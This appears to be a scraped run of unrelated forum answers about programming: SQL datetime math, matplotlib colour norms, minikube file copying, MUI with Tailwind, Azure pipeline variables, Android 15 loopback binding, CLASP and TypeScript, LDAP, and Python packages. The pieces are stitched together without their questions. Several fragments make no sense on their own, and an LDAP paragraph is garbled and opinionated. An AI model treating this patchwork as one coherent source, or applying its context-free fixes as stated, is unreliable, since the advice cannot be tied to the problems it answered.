Declare @starttime datetime = '7/23/2020 3:30:02 PM' Declare @endtime datetime = '7/23/2020 3:30:07 PM'
select CONVERT(VARCHAR, @endtime - @starttime, 108)
I did find a solution using a dummy case (and AI) Please see below for an example with five points (grid cells) to be plotted with pcolormesh. I missed the following:
from matplotlib.colors import ListedColormap, BoundaryNorm
...
bounds = np.arange(0.5, 6.5, 1) # Boundaries between colors
norm = BoundaryNorm(bounds, cmap.N)
...
c = ax.pcolormesh(lon, lat, data, cmap=cmap, norm=norm, shading='auto')
It is necessary to define the bounds and norm.
I handle it by following this minikube command:
minikube cp minikube:<source_file_path> <destination_path>
for example:
minikube cp minikube:/home/docker/package-lock.json ./
What worked for me was setting line-height to the same value as height.
My solution Wrap another EditForm
You can build multi-digit numbers from consecutive characters like this:
let values = [1, 2, 6];
let output = 0;
for (let i of values) {
// Multiplying by 10 shifts the number left.
output = output * 10 + Number(i);
}
console.log(output) // 126
This array ['1','2','6'] will also output 126.
It is possible and the MUI team has resolved it.
From the documentacion
It is necessary to Remove Tailwind's base directive in favor of the CssBaseline component provided by @mui/material and fix the CSS injection order.
You can create a variable that can be used in the pipeline name:
name: My Pipeline - $(SHORT_SHA)
variables:
- name: SHORT_SHA
value: $[ substring(variables['Build.SourceVersion'], 0, 7) ]
You could define a Compose at the beginning of your loop and then extract its values in the next steps.
Just delete the app from your ios simulator as well as clean the build folder in xcode (go to Product > Clean build folder)
And that's it, Just run your App
Apparently API 35 / Android 15 have changes that affect how local hostnames (like localhost) are resolved.
Just add InetAddress.getByName("127.0.0.1") to bind to the loopback address explicitly, to 127.0.0.1, which is a localhost IP, like this
mockWebServer.start(InetAddress.getByName("127.0.0.1"), 8080);
After this tests have started to work correct
Facing the same issue while calling https://api.fabric.microsoft.com/v1/workspaces. As it is not referring to a particular workspace, can it also be due to permissions given in workspace? { "requestId": "94f4be0a-d3e9-48b4-bcfa-836ab373bc1b", "errorCode": "Unauthorized", "message": "The caller is not authenticated to access this resource" }. [![enter image description here][1]][1] How was this resolved?
[1]: https://i.sstatic.net/mlVOYtDs.png. I have all these permissions.
@Kolovrat Did that resolve the issue? Is Try Now button visible now?
It's not just you.
I set up CLASP today, and ran into the same issue. I was vexed, and stumbled on your question.
TL;DR: There's no way to go from .gs (.js) -> .ts
Because of the loss of specificity when you compile a TS file into JS, it becomes an irreversible operation. And because CLASP uses ts2GAS to compile prior to uploading your file, only the JS version is sent to Google drive.
But what if I work in a team?
I think the CLASP architects expect you to use git (or some other version control) and store it in an external repo. Because the TS file is not stored in drive, there is no way to use that as your repository.
In my case, I'm working solo, so keeping it in a git repo on my machine is sufficient. (I'll add it to GitHub for a clean, versioned backup of the TS).
Also a shoutout for using git if you are working with a team on GAS:
From what I understand, CLASP updates are destructive. If someone is edited a file and you push without pulling: Boom. Gone.
Someone edited a file and you pull with conflicting changes: Boom. Overwritten.
Solution? Everyone uses git.
LDAP is way to go that is why it is called light directory, rad fast, write slow ...it is subset of X.500. University of Michigan has best and brightest on this subject as they contributed to protocol. If I would do any authentication and authorization in corporate world, I would never use crap like AD. And yes I would separate trees from corporate to cloud and work with sachems and pipelines to make sure that off boarding, on boarding and syncing OU's and so forth is done correctly and easy...
Add missing
__init__.py
in tests/ folder
we need init.py in every sub-directory to be considered as package.
Try using:
import fetch from 'node-fetch'
https://www.npmjs.com/package/node-fetch
Also check with lots of console.log() statements to see what works and what doesn't. Update your progress or send a link to the repo.
heard back from GCP support on this:
Unfortunately, Cross-DB get() requests are not currently supported, and there isn't a workaround to make it work at this time.
Bummer. :(